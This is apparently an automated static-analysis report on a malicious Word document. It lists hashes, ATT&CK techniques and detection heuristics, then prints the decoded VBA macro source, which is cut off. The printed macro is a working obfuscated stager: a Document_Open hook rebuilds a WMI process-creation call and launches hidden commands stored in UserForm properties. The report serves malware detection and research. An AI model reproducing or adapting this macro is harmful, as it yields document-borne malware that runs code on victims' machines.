Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 81c27d10e37bd700…

MALICIOUS

Office (OLE)

227.5 KB Created: 2020-08-12 06:56:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 91b1539e171eeb1ad092b4780103be5b SHA-1: 00ee01a86b22437f23b571bd308e9dfd8d18d4f6 SHA-256: 81c27d10e37bd700d8cee11eba8d01d2bda91b7743083fa7a4e51f3f169ef0c5
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The heuristics suggest the macro is designed to execute code, likely to download a secondary payload. The ClamAV detection further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Logan-9289676-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Logan-9289676-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4234 bytes
SHA-256: 5a573ba8d718661d04ddf8daeaf401ae4b6e4f8d3328866439a5bc7a3277e414
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KEKGGhwgmhaigz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
MXPBCacvsmpjkglzt.FOMMNqalgzodyqlw
End Sub


Attribute VB_Name = "MXPBCacvsmpjkglzt"
Attribute VB_Base = "0{BDB20E11-24E1-4306-885F-F547625252F1}{0967B1E4-7B0D-4E1D-8019-CA9E6EE376B1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function FOMMNqalgzodyqlw()
Dim BWSVNsu As Boolean
Dim Ni7 As Integer
For Ni7 = 9 To 1 + 5
DoEvents
Next Ni7
Dim Y0rZv5Í As String
Y0rZv5Í = Replace$("Dr7Êseqt2ÄjGQVO0áS", "Dr7Êseq", "tvaMYrmoEn")
QZAPDxprefedt = MXPBCacvsmpjkglzt.Zoom
Dim qalqj4 As Long
GMZEUabnbqtlhret = ChrW(QZAPDxprefedt + ((30 + 60 + 30) / (4 + 4)))
Dim yhtNIK As String
yhtNIK = Replace$("nKdCkXpeHroHmmAV", "nKdCkX", "vm6åKdYMpZW")
IZIOXguojmfxzodrcti = "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hi[jhkgab&*$%R s shs qw e21 23 12u3hnm[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hgm[jhkgab&*$%R s shs qw e21 23 12u3ht[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h" + GMZEUabnbqtlhret + "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h:[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hin[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h3[jhkgab&*$%R s shs qw e21 23 12u3h2[jhkgab&*$%R s shs qw e21 23 12u3h_[jhkgab&*$%R s shs qw e21 23 12u3h" + MXPBCacvsmpjkglzt.VYAIGwrdfhpgmatien + "[jhkgab&*$%R s shs qw e21 23 12u3hro[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hce[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3h"
Dim k5ÂIKQgoU As Integer
For k5ÂIKQgoU = 6 To 6 + 8
DoEvents
Next k5ÂIKQgoU
QYHKDfyrcjbjqwostv = PAKUPzbqytsysvhr(IZIOXguojmfxzodrcti)
Dim sEIBnP As Integer
For sEIBnP = 2 To 7 + 6
DoEvents
Next sEIBnP
Set FAPVYaiuptjyo = CreateObject(QYHKDfyrcjbjqwostv)
Dim UVabibq As String
UVabibq = Replace$("ycBj1ÖTOSybqjOVnKd", "ycBj1ÖTOSy", "SFSnvA5Õ")
XTWQUabrhsdytbymbn = MXPBCacvsmpjkglzt.ZDTPPcseboxl.ControlTipText
Dim rpeHroH As Integer
For rpeHroH = 4 To 7 + 1
DoEvents
Next rpeHroH
UFSYJjfwmexojlkqy = wr3 + (QYHKDfyrcjbjqwostv + GMZEUabnbqtlhret + MXPBCacvsmpjkglzt.LNZNLjyiwbmzaase.ControlTipText + XTWQUabrhsdytbymbn)
Dim wvmmrH As Date
HRRESrrkgfzgoymj = UFSYJjfwmexojlkqy + MXPBCacvsmpjkglzt.VYAIGwrdfhpgmatien
Dim MpZWoUV As Currency
Set SYDGVqxdatopw = VRNROmfegkyjdxrxyhe(HRRESrrkgfzgoymj)
Dim CsIPfnFcJ As Integer
For CsIPfnFcJ = 5 To 4 + 1
DoEvents
Next CsIPfnFcJ
yu = Array(assq + "jhiay qyyww", FAPVYaiuptjyo. _
Create(HNTELywfduruwniv, HBPPQrzknvdub, SYDGVqxdatopw), masb1 + ":ghass utq wqgd")
Dim q4ÍwkMhcg As Integer
For q4ÍwkMhcg = 4 To 5 + 6
DoEvents
Next q4ÍwkMhcg
End Function
Function VRNROmfegkyjdxrxyhe(ASODOminfdzvksdex)
Set VRNROmfegkyjdxrxyhe = CreateObject(ASODOminfdzvksdex)
Dim OyVTtsivo As Byte
VRNROmfegkyjdxrxyhe. _
showwindow = CDTFYnxdmsklqmi + HMMWNcgmvkdogm
Dim Y1áM As Integer
For Y1áM = 1 To 7 + 3
DoEvents
Next Y1áM
End Function
Function PAKUPzbqytsysvhr(VLXGKikbbvndqfmvtax)
GHEPEynsvrhqyi = VLXGKikbbvndqfmvtax
Dim L4áNd6Ámj As Byte
VGYDDkdbesydldz = Split _
(GHEPEynsvrhqyi, "[jhkgab&*$%R s shs qw e21 23 12u3h")
Dim BXimg3Í As Integer
For BXimg3Í = 9 To 1 + 3
DoEvents
Next BXimg3Í
TNATOgouxygklpz = xz + Join(VGYDDkdbesydldz, cvw)
Dim eqKEGj1ÅnOB As String
eqKEGj1ÅnOB = Replace$("Ssrh6ÈYuMTnpOyVT", "Ssrh6ÈY", "beJuHaVX")
PAKUPzbqytsysvhr = TNATOgouxygklpz
Dim Iwwp As Double
End Function
Function HNTELywfduruwniv()
j = MXPBCacvsmpjkglzt.LCECHdyeqsrdlvdsmw.Pages(vbOK).Tag
Dim mj0Ù As Long
HNTELywfduruwniv = PAKUPzbqytsysvh
... (truncated)